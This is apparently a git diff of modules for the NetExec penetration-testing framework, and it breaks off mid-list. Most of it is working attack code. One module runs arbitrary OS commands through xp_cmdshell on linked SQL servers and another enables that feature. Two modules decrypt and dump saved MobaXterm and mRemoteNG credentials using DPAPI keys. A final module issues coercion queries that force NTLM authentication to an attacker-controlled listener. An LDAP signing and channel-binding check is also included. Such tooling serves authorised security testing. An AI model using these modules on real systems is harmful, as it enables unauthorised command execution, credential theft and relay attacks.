supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
@@ -30,173 +31,229 @@ class NXCModule:
|
||||
def options(self, context, module_options):
|
||||
"""No options available."""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
# Conduct a bind to LDAPS and determine if channel
|
||||
# binding is enforced based on the contents of potential
|
||||
# errors returned. This can be determined unauthenticated,
|
||||
# because the error indicating channel binding enforcement
|
||||
# will be returned regardless of a successful LDAPS bind.
|
||||
async def run_ldaps_noEPA(target, credential):
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
_, err = await ldapsClientConn.connect()
|
||||
|
||||
# Required step to try to bind without channel binding
|
||||
ldapsClientConn.cb_data = None
|
||||
|
||||
if err is not None:
|
||||
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
|
||||
sys.exit()
|
||||
|
||||
valid, err = await ldapsClientConn.bind()
|
||||
if "data 80090346" in str(err):
|
||||
return True # channel binding IS enforced
|
||||
elif "data 52e" in str(err):
|
||||
return False # channel binding not enforced
|
||||
elif err is None:
|
||||
# LDAPS bind successful
|
||||
# because channel binding is not enforced
|
||||
return False
|
||||
|
||||
# Conduct a bind to LDAPS with channel binding supported
|
||||
# but intentionally miscalculated. In the case that and
|
||||
# LDAPS bind has without channel binding supported has occurred,
|
||||
# you can determine whether the policy is set to "never" or
|
||||
# if it's set to "when supported" based on the potential
|
||||
# error received from the bind attempt.
|
||||
async def run_ldaps_withEPA(target, credential):
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
_, err = await ldapsClientConn.connect()
|
||||
if err is not None:
|
||||
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
|
||||
sys.exit()
|
||||
# forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message
|
||||
ldapsClientConn.cb_data = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
_, err = await ldapsClientConn.bind()
|
||||
if "data 80090346" in str(err):
|
||||
return True
|
||||
elif "data 52e" in str(err):
|
||||
return False
|
||||
elif err is not None:
|
||||
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
|
||||
elif err is None:
|
||||
return False
|
||||
|
||||
# Domain Controllers do not have a certificate setup for
|
||||
# LDAPS on port 636 by default. If this has not been setup,
|
||||
# the TLS handshake will hang and you will not be able to
|
||||
# interact with LDAPS. The condition for the certificate
|
||||
# existing as it should is either an error regarding
|
||||
# the fact that the certificate is self-signed, or
|
||||
# no error at all. Any other "successful" edge cases
|
||||
# not yet accounted for.
|
||||
def DoesLdapsCompleteHandshake(dcIp):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(5)
|
||||
ssl_context = ssl.create_default_context()
|
||||
ssl_context.check_hostname = False
|
||||
ssl_sock = ssl_context.wrap_socket(
|
||||
s,
|
||||
do_handshake_on_connect=False,
|
||||
suppress_ragged_eofs=False,
|
||||
)
|
||||
try:
|
||||
ssl_sock.connect((dcIp, 636))
|
||||
ssl_sock.do_handshake()
|
||||
ssl_sock.close()
|
||||
return True
|
||||
except Exception as e:
|
||||
if "CERTIFICATE_VERIFY_FAILED" in str(e):
|
||||
ssl_sock.close()
|
||||
return True
|
||||
if "handshake operation timed out" in str(e):
|
||||
ssl_sock.close()
|
||||
return False
|
||||
else:
|
||||
context.log.fail("Unexpected error during LDAPS handshake: " + str(e))
|
||||
ssl_sock.close()
|
||||
return False
|
||||
|
||||
# Conduct and LDAP bind and determine if server signing
|
||||
# requirements are enforced based on potential errors
|
||||
# during the bind attempt.
|
||||
async def run_ldap(target, credential):
|
||||
try:
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
ldapsClientConn._disable_signing = True
|
||||
_, err = await ldapsClientConn.connect()
|
||||
if err is not None:
|
||||
context.log.fail(str(err))
|
||||
return None
|
||||
|
||||
_, err = await ldapsClientConn.bind()
|
||||
if err is not None:
|
||||
errstr = str(err).lower()
|
||||
if "stronger" in errstr:
|
||||
return True
|
||||
# because LDAP server signing requirements ARE enforced
|
||||
else:
|
||||
context.log.fail(str(err))
|
||||
else:
|
||||
# LDAPS bind successful
|
||||
return False
|
||||
# because LDAP server signing requirements are not enforced
|
||||
except Exception as e:
|
||||
context.log.debug(str(e))
|
||||
# Conduct a bind to LDAPS and determine if channel
|
||||
# binding is enforced based on the contents of potential
|
||||
# errors returned. This can be determined unauthenticated,
|
||||
# because the error indicating channel binding enforcement
|
||||
# will be returned regardless of a successful LDAPS bind.
|
||||
async def run_ldaps_noEPA(self, context, connection, target, credential):
|
||||
try:
|
||||
client = MSLDAPClientConnection(target, credential)
|
||||
_, err = await client.connect()
|
||||
if err:
|
||||
context.log.debug(f"Error connecting to {connection.domain}: {err}")
|
||||
return None
|
||||
|
||||
|
||||
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
|
||||
stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
|
||||
secret = connection.password if not connection.nthash else connection.nthash
|
||||
if not connection.kerberos:
|
||||
credential = NTLMCredential(
|
||||
secret=secret,
|
||||
username=connection.username,
|
||||
domain=connection.domain,
|
||||
stype=stype,
|
||||
)
|
||||
else:
|
||||
kerberos_target = UniTarget(
|
||||
connection.host,
|
||||
88,
|
||||
UniProto.CLIENT_TCP,
|
||||
hostname=connection.remoteName,
|
||||
dc_ip=connection.kdcHost,
|
||||
domain=connection.domain,
|
||||
proxies=None,
|
||||
dns=None,
|
||||
)
|
||||
credential = KerberosCredential(
|
||||
target=kerberos_target,
|
||||
secret=secret,
|
||||
username=connection.username,
|
||||
domain=connection.domain,
|
||||
stype=stype,
|
||||
)
|
||||
|
||||
target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
|
||||
ldapIsProtected = asyncio.run(run_ldap(target, credential))
|
||||
if ldapIsProtected is False:
|
||||
context.log.highlight("LDAP Signing NOT Enforced!")
|
||||
elif ldapIsProtected is True:
|
||||
context.log.fail("LDAP Signing IS Enforced")
|
||||
else:
|
||||
context.log.fail("Connection fail, exiting now")
|
||||
sys.exit()
|
||||
|
||||
if DoesLdapsCompleteHandshake(connection.host) is True:
|
||||
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
|
||||
ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
|
||||
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
|
||||
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
|
||||
if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
|
||||
context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
|
||||
elif ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is False:
|
||||
context.log.highlight('LDAPS Channel Binding is set to "NEVER"')
|
||||
elif ldapsChannelBindingAlwaysCheck is True:
|
||||
context.log.fail('LDAPS Channel Binding is set to "Required"')
|
||||
client.cb_data = None
|
||||
_, err = await client.bind()
|
||||
if err and "data 80090346" in str(err):
|
||||
return True # -> channel binding IS enforced
|
||||
elif err and "data 52e" in str(err):
|
||||
return False # -> channel binding not enforced
|
||||
elif err is None:
|
||||
return False # LDAPS bind successful -> channel binding not enforced
|
||||
else:
|
||||
context.log.fail("\nSomething went wrong...")
|
||||
sys.exit()
|
||||
context.log.debug(f"Unexpected error during LDAPS bind (noEPA): {err}")
|
||||
return None
|
||||
except Exception as e:
|
||||
context.log.debug(f"Exception in run_ldaps_noEPA: {e}")
|
||||
return None
|
||||
finally:
|
||||
with contextlib.suppress(Exception):
|
||||
await client.disconnect()
|
||||
|
||||
# Conduct a bind to LDAPS with channel binding supported
|
||||
# but intentionally miscalculated. In the case that an
|
||||
# LDAPS bind without channel binding supported has occurred,
|
||||
# you can determine whether the policy is set to "never" or
|
||||
# if it's set to "when supported" based on the potential
|
||||
# error received from the bind attempt.
|
||||
async def run_ldaps_withEPA(self, context, connection, target, credential):
|
||||
try:
|
||||
client = MSLDAPClientConnection(target, credential)
|
||||
_, err = await client.connect()
|
||||
if err:
|
||||
context.log.fail(f"Error connecting to {connection.domain}: {err}")
|
||||
return None
|
||||
|
||||
try:
|
||||
context.log.debug("Retrieving TLS certificate hash...")
|
||||
ssl_context = ssl.create_default_context()
|
||||
ssl_context.check_hostname = False
|
||||
ssl_context.verify_mode = ssl.CERT_NONE
|
||||
|
||||
with socket.create_connection((connection.host, 636)) as sock, ssl_context.wrap_socket(sock, server_hostname=connection.host) as ssl_sock:
|
||||
cert = ssl_sock.getpeercert(binary_form=True)
|
||||
|
||||
if cert:
|
||||
cert_hash = hashlib.sha256(cert).digest()
|
||||
context.log.debug(f"Original certificate hash: {cert_hash.hex()}")
|
||||
pos = random.randint(0, len(cert_hash) - 1)
|
||||
tampered_bytes = bytearray(cert_hash)
|
||||
tampered_bytes[pos] = (tampered_bytes[pos] + 1) % 256
|
||||
context.log.debug(f"Tampered certificate hash: {bytes(tampered_bytes).hex()}")
|
||||
context.log.debug(f"Modified byte at position {pos}")
|
||||
client.cb_data = b"tls-server-end-point:" + bytes(tampered_bytes)
|
||||
else:
|
||||
client.cb_data = b"\x00" * 64
|
||||
except Exception as e:
|
||||
context.log.debug(f"Failed to retrieve TLS certificate hash: {e}")
|
||||
client.cb_data = b"\x00" * 64
|
||||
|
||||
_, err = await client.bind()
|
||||
if err and "data 80090346" in str(err):
|
||||
return True
|
||||
elif (err and "data 52e" in str(err)) or err is None:
|
||||
return False
|
||||
else:
|
||||
context.log.fail(f"Unexpected error during LDAPS bind (withEPA): {err}")
|
||||
return None
|
||||
except Exception as e:
|
||||
context.log.fail(f"Exception in run_ldaps_withEPA: {e}")
|
||||
return None
|
||||
|
||||
|
||||
# Domain Controllers do not have a certificate setup for
|
||||
# LDAPS on port 636 by default. If this has not been setup,
|
||||
# the TLS handshake will hang and you will not be able to
|
||||
# interact with LDAPS. The condition for the certificate
|
||||
# existing as it should is either an error regarding
|
||||
# the fact that the certificate is self-signed, or
|
||||
# no error at all. Any other "successful" edge cases
|
||||
# not yet accounted for.
|
||||
def does_ldaps_complete_handshake(self, context, dc_ip):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(5)
|
||||
ssl_context = ssl.create_default_context()
|
||||
ssl_context.check_hostname = False
|
||||
ssl_sock = ssl_context.wrap_socket(s, do_handshake_on_connect=False, suppress_ragged_eofs=False)
|
||||
try:
|
||||
ssl_sock.connect((dc_ip, 636))
|
||||
ssl_sock.do_handshake()
|
||||
return True
|
||||
except Exception as e:
|
||||
if "CERTIFICATE_VERIFY_FAILED" in str(e):
|
||||
return True
|
||||
elif "handshake operation timed out" in str(e):
|
||||
return False
|
||||
else:
|
||||
context.log.fail(f"Unexpected error during LDAPS handshake: {e}")
|
||||
return False
|
||||
finally:
|
||||
ssl_sock.close()
|
||||
|
||||
# Conduct an LDAP bind and determine if server signing
|
||||
# requirements are enforced based on potential errors
|
||||
# during the bind attempt.
|
||||
async def run_ldap(self, context, target, credential):
|
||||
try:
|
||||
client = MSLDAPClientConnection(target, credential)
|
||||
client._disable_signing = True # deliberately disable LDAP signing on client connection
|
||||
_, err = await client.connect()
|
||||
if err:
|
||||
context.log.fail(f"Error connecting for LDAP bind: {err}")
|
||||
return None
|
||||
|
||||
_, err = await client.bind()
|
||||
if err:
|
||||
errstr = str(err).lower()
|
||||
if "stronger" in errstr:
|
||||
return True
|
||||
# because LDAP server signing requirements ARE enforced
|
||||
else:
|
||||
context.log.fail(f"LDAP bind error: {err}")
|
||||
return None
|
||||
else:
|
||||
# LDAPS bind successful
|
||||
return False
|
||||
# because LDAP server signing requirements are not enforced
|
||||
except Exception as e:
|
||||
context.log.debug(f"Exception during LDAP bind: {e}")
|
||||
return None
|
||||
|
||||
# Determine authentication context and proceed to
|
||||
# enumerate LDAP signing and channel binding settings
|
||||
def on_login(self, context, connection):
|
||||
stype = asyauthSecret.PASS
|
||||
secret = connection.password
|
||||
if connection.nthash:
|
||||
stype = asyauthSecret.NT
|
||||
secret = connection.nthash
|
||||
if connection.aesKey:
|
||||
stype = asyauthSecret.AES
|
||||
secret = connection.aesKey
|
||||
|
||||
anon_credential = NTLMCredential(
|
||||
secret="",
|
||||
username="",
|
||||
domain=connection.domain,
|
||||
stype=asyauthSecret.PASS
|
||||
)
|
||||
|
||||
if not connection.username and not secret:
|
||||
context.log.highlight("No credentials provided, skipping LDAP signing check")
|
||||
credential = anon_credential
|
||||
else:
|
||||
context.log.fail(connection.domain + " - cannot complete TLS handshake, cert likely not configured")
|
||||
if not connection.kerberos:
|
||||
credential = NTLMCredential(
|
||||
secret=secret,
|
||||
username=connection.username,
|
||||
domain=connection.domain,
|
||||
stype=stype
|
||||
)
|
||||
else:
|
||||
kerberos_target = UniTarget(
|
||||
connection.host,
|
||||
88,
|
||||
UniProto.CLIENT_TCP,
|
||||
hostname=connection.remoteName,
|
||||
dc_ip=connection.kdcHost,
|
||||
domain=connection.domain,
|
||||
proxies=None,
|
||||
dns=None,
|
||||
)
|
||||
credential = KerberosCredential(
|
||||
target=kerberos_target,
|
||||
secret=secret,
|
||||
username=connection.username,
|
||||
domain=connection.domain,
|
||||
stype=stype,
|
||||
)
|
||||
|
||||
ldap_signing_status = None
|
||||
if connection.username or secret:
|
||||
target = MSLDAPTarget(
|
||||
connection.host, 389,
|
||||
hostname=connection.remoteName,
|
||||
domain=connection.domain,
|
||||
dc_ip=connection.kdcHost,
|
||||
)
|
||||
ldap_signing_status = asyncio.run(self.run_ldap(context, target, credential))
|
||||
if ldap_signing_status is True:
|
||||
context.log.highlight("LDAP signing IS enforced")
|
||||
elif ldap_signing_status is False:
|
||||
context.log.highlight("LDAP signing NOT enforced")
|
||||
else:
|
||||
context.log.fail("Could not determine LDAP signing requirement.")
|
||||
|
||||
if self.does_ldaps_complete_handshake(context, connection.host):
|
||||
target = MSLDAPTarget(
|
||||
connection.host, 636,
|
||||
UniProto.CLIENT_SSL_TCP,
|
||||
hostname=connection.remoteName,
|
||||
domain=connection.domain,
|
||||
dc_ip=connection.kdcHost,
|
||||
)
|
||||
ldaps_noEPA = asyncio.run(self.run_ldaps_noEPA(context, connection, target, anon_credential))
|
||||
ldaps_withEPA = asyncio.run(self.run_ldaps_withEPA(context, connection, target, anon_credential))
|
||||
|
||||
if ldaps_noEPA is False and ldaps_withEPA is True:
|
||||
context.log.highlight("LDAPS channel binding is set to: When Supported")
|
||||
elif ldaps_noEPA is False and ldaps_withEPA is False:
|
||||
context.log.highlight("LDAPS channel binding is set to: Never")
|
||||
elif ldaps_noEPA is True:
|
||||
context.log.highlight("LDAPS channel binding is set to: Required")
|
||||
else:
|
||||
context.log.fail("Could not determine LDAPS channel binding settings")
|
||||
else:
|
||||
context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured")
|
||||
@@ -0,0 +1,63 @@
|
||||
class NXCModule:
|
||||
"""
|
||||
Enable or disable xp_cmdshell on a linked SQL server
|
||||
Module by deathflamingo
|
||||
"""
|
||||
|
||||
name = "link_enable_xp"
|
||||
description = "Enable or disable xp_cmdshell on a linked SQL server"
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = False
|
||||
multiple_hosts = False
|
||||
|
||||
def __init__(self):
|
||||
self.action = None
|
||||
self.linked_server = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Defines the options for enabling or disabling xp_cmdshell on the linked server.
|
||||
ACTION Specifies whether to enable or disable:
|
||||
- enable (default)
|
||||
- disable
|
||||
LINKED_SERVER The name of the linked SQL server to target.
|
||||
"""
|
||||
self.action = module_options.get("ACTION", "enable")
|
||||
self.linked_server = module_options.get("LINKED_SERVER")
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
if not self.linked_server:
|
||||
self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.")
|
||||
return
|
||||
|
||||
# Enable or disable xp_cmdshell based on action
|
||||
if self.action == "enable":
|
||||
self.enable_xp_cmdshell()
|
||||
elif self.action == "disable":
|
||||
self.disable_xp_cmdshell()
|
||||
else:
|
||||
self.context.log.fail(f"Unknown action: {self.action}")
|
||||
|
||||
def enable_xp_cmdshell(self):
|
||||
"""Enable xp_cmdshell on the linked server."""
|
||||
query = f"EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [{self.linked_server}]"
|
||||
self.context.log.display(f"Enabling advanced options on {self.linked_server}...")
|
||||
out = self.query_and_get_output(query)
|
||||
query = f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]"
|
||||
self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}...")
|
||||
out = self.query_and_get_output(query)
|
||||
self.context.log.display(out)
|
||||
self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}")
|
||||
|
||||
def disable_xp_cmdshell(self):
|
||||
"""Disable xp_cmdshell on the linked server."""
|
||||
query = f"EXEC ('sp_configure ''xp_cmdshell'', 0; RECONFIGURE; sp_configure ''show advanced options'', 0; RECONFIGURE;') AT [{self.linked_server}]"
|
||||
self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}...")
|
||||
self.query_and_get_output(query)
|
||||
self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}")
|
||||
|
||||
def query_and_get_output(self, query):
|
||||
"""Executes a query and returns the output."""
|
||||
return self.mssql_conn.sql_query(query)
|
||||
@@ -0,0 +1,44 @@
|
||||
class NXCModule:
|
||||
"""
|
||||
Run xp_cmdshell commands on a linked SQL server
|
||||
Module by deathflamingo
|
||||
"""
|
||||
|
||||
name = "link_xpcmd"
|
||||
description = "Run xp_cmdshell commands on a linked SQL server"
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = False
|
||||
multiple_hosts = False
|
||||
|
||||
def __init__(self):
|
||||
self.linked_server = None
|
||||
self.command = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Defines the options for running xp_cmdshell commands on a linked server.
|
||||
LINKED_SERVER The name of the linked SQL server to target.
|
||||
CMD The command to run via xp_cmdshell.
|
||||
"""
|
||||
self.linked_server = module_options.get("LINKED_SERVER")
|
||||
self.command = module_options.get("CMD")
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
if not self.linked_server or not self.command:
|
||||
self.context.log.fail("Please provide both LINKED_SERVER and CMD options.")
|
||||
return
|
||||
|
||||
self.run_xp_cmdshell(self.command)
|
||||
|
||||
def run_xp_cmdshell(self, cmd):
|
||||
"""Run the specified command via xp_cmdshell on the linked server."""
|
||||
query = f"EXEC ('xp_cmdshell ''{cmd}''') AT [{self.linked_server}]"
|
||||
self.context.log.display(f"Running command on {self.linked_server}: {cmd}")
|
||||
result = self.query_and_get_output(query)
|
||||
self.context.log.success(f"Command output:\n{result}")
|
||||
|
||||
def query_and_get_output(self, query):
|
||||
"""Executes a query and returns the output."""
|
||||
return self.mssql_conn.sql_query(query)
|
||||
+23
-89
@@ -1,10 +1,8 @@
|
||||
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
||||
from dploot.triage.backupkey import BackupkeyTriage
|
||||
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
|
||||
from dploot.lib.target import Target
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -15,99 +13,34 @@ class NXCModule:
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
PVK Domain backup key file
|
||||
MKFILE File with masterkeys in form of {GUID}:SHA1
|
||||
"""
|
||||
self.pvkbytes = None
|
||||
self.masterkeys = None
|
||||
self.conn = None
|
||||
self.target = None
|
||||
|
||||
if "PVK" in module_options:
|
||||
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115
|
||||
|
||||
if "MKFILE" in module_options:
|
||||
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
|
||||
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
|
||||
""" """
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
host = connection.hostname + "." + connection.domain
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
aesKey = connection.aesKey
|
||||
use_kcache = getattr(connection, "use_kcache", False)
|
||||
password = getattr(connection, "password", "")
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
if self.pvkbytes is None:
|
||||
try:
|
||||
dc = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
self.pvkbytes = get_domain_backup_key(connection)
|
||||
|
||||
dc_conn = DPLootSMBConnection(dc)
|
||||
dc_conn.connect()
|
||||
|
||||
if dc_conn.is_admin:
|
||||
context.log.success("User is Domain Administrator, exporting domain backupkey...")
|
||||
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
|
||||
backupkey = backupkey_triage.triage_backupkey()
|
||||
self.pvkbytes = backupkey.backupkey_v2
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not get domain backupkey: {e}")
|
||||
|
||||
self.target = Target.create(
|
||||
domain=domain,
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=host,
|
||||
lmhash=lmhash,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=use_kcache,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
try:
|
||||
self.conn = DPLootSMBConnection(self.target)
|
||||
self.conn.smb_session = connection.conn
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not upgrade connection: {e}")
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
|
||||
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
|
||||
if password != "":
|
||||
plaintexts[username] = password
|
||||
if nthash != "":
|
||||
nthashes[username] = nthash
|
||||
|
||||
if self.masterkeys is None:
|
||||
try:
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=self.target,
|
||||
conn=self.conn,
|
||||
pvkbytes=self.pvkbytes,
|
||||
passwords=plaintexts,
|
||||
nthashes=nthashes,
|
||||
dpapiSystem={},
|
||||
)
|
||||
self.masterkeys = masterkeys_triage.triage_masterkeys()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not get masterkeys: {e}")
|
||||
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
@@ -115,14 +48,15 @@ class NXCModule:
|
||||
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
|
||||
|
||||
def mobaxterm_callback(credential):
|
||||
if isinstance(credential, MobaXtermCredential):
|
||||
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
|
||||
elif isinstance(credential, MobaXtermPassword):
|
||||
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
|
||||
context.log.highlight(f"[{credential.winuser}] {log_text}")
|
||||
|
||||
try:
|
||||
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
|
||||
_, credentials = triage.triage_mobaxterm()
|
||||
for credential in credentials:
|
||||
if isinstance(credential, MobaXtermCredential):
|
||||
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
|
||||
elif isinstance(credential, MobaXtermPassword):
|
||||
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
|
||||
context.log.highlight(f"[{credential.winuser}] {log_text}")
|
||||
triage.triage_mobaxterm()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
import ntpath
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
from dploot.lib.target import Target
|
||||
from Cryptodome.Cipher import AES
|
||||
from lxml import objectify
|
||||
@@ -7,6 +6,8 @@ from base64 import b64decode
|
||||
import hashlib
|
||||
from dataclasses import dataclass
|
||||
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
|
||||
@dataclass
|
||||
class MRemoteNgEncryptionAttributes:
|
||||
@@ -94,7 +95,10 @@ class NXCModule:
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
|
||||
dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if dploot_conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
# 2. Dump users list
|
||||
users = self.get_users(dploot_conn)
|
||||
@@ -116,14 +120,6 @@ class NXCModule:
|
||||
if content is not None:
|
||||
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
def upgrade_connection(self, target: Target, connection=None):
|
||||
conn = DPLootSMBConnection(target)
|
||||
if connection is not None:
|
||||
conn.smb_session = connection
|
||||
else:
|
||||
conn.connect()
|
||||
return conn
|
||||
|
||||
def get_users(self, conn):
|
||||
users = []
|
||||
|
||||
@@ -0,0 +1,79 @@
|
||||
import sys
|
||||
|
||||
class NXCModule:
|
||||
"""Execute arbitrary SQL commands on the target MSSQL server"""
|
||||
|
||||
name = "mssql_coerce"
|
||||
description = "Execute arbitrary SQL commands on the target MSSQL server"
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
self.context = None
|
||||
self.listener = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
LISTENER LISTENER for exploitation
|
||||
L Alias for LISTENER
|
||||
"""
|
||||
self.context = context
|
||||
self.listener = None
|
||||
if "LISTENER" in module_options:
|
||||
self.listener = module_options["LISTENER"]
|
||||
if "L" in module_options:
|
||||
self.listener = module_options["L"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
if self.listener is None:
|
||||
context.log.error("LISTENER option is required!")
|
||||
sys.exit(1)
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
commands = [
|
||||
f"xp_dirtree '\\\\{self.listener}\\file';",
|
||||
f"xp_fileexist '\\\\{self.listener}\\file';",
|
||||
f"BACKUP LOG [TESTING] TO DISK = '\\\\{self.listener}\\file';",
|
||||
f"BACKUP DATABASE [TESTING] TO DISK = '\\\\{self.listener}\\file';",
|
||||
f"RESTORE LOG [TESTING] FROM DISK = '\\\\{self.listener}\\file';",
|
||||
f"RESTORE DATABASE [TESTING] FROM DISK = '\\\\{self.listener}\\file';",
|
||||
f"RESTORE HEADERONLY FROM DISK = '\\\\{self.listener}\\file';",
|
||||
f"RESTORE FILELISTONLY FROM DISK = '\\\\{self.listener}\\file';",
|
||||
f"RESTORE LABELONLY FROM DISK = '\\\\{self.listener}\\file';",
|
||||
f"RESTORE REWINDONLY FROM DISK = '\\\\{self.listener}\\file';",
|
||||
f"RESTORE VERIFYONLY FROM DISK = '\\\\{self.listener}\\file';",
|
||||
f"DBCC checkprimaryfile ('\\\\{self.listener}\\file');",
|
||||
f"CREATE ASSEMBLY HelloWorld FROM '\\\\{self.listener}\\file' WITH PERMISSION_SET = SAFE; GO ",
|
||||
f"sp_addextendedproc 'xp_hello','\\\\{self.listener}\\file';",
|
||||
f"CREATE CERTIFICATE testing123 FROM EXECUTABLE FILE = '\\\\{self.listener}\\file'; GO ",
|
||||
f"BACKUP CERTIFICATE test01 TO FILE = '\\\\{self.listener}\\file' WITH PRIVATE KEY (decryption by password = 'superpassword', FILE = '\\\\{self.listener}\\file', encryption by password = 'superpassword'); GO ",
|
||||
f"BACKUP MASTER KEY TO FILE = '\\\\{self.listener}\\file' ENCRYPTION BY PASSWORD = 'password'; GO ",
|
||||
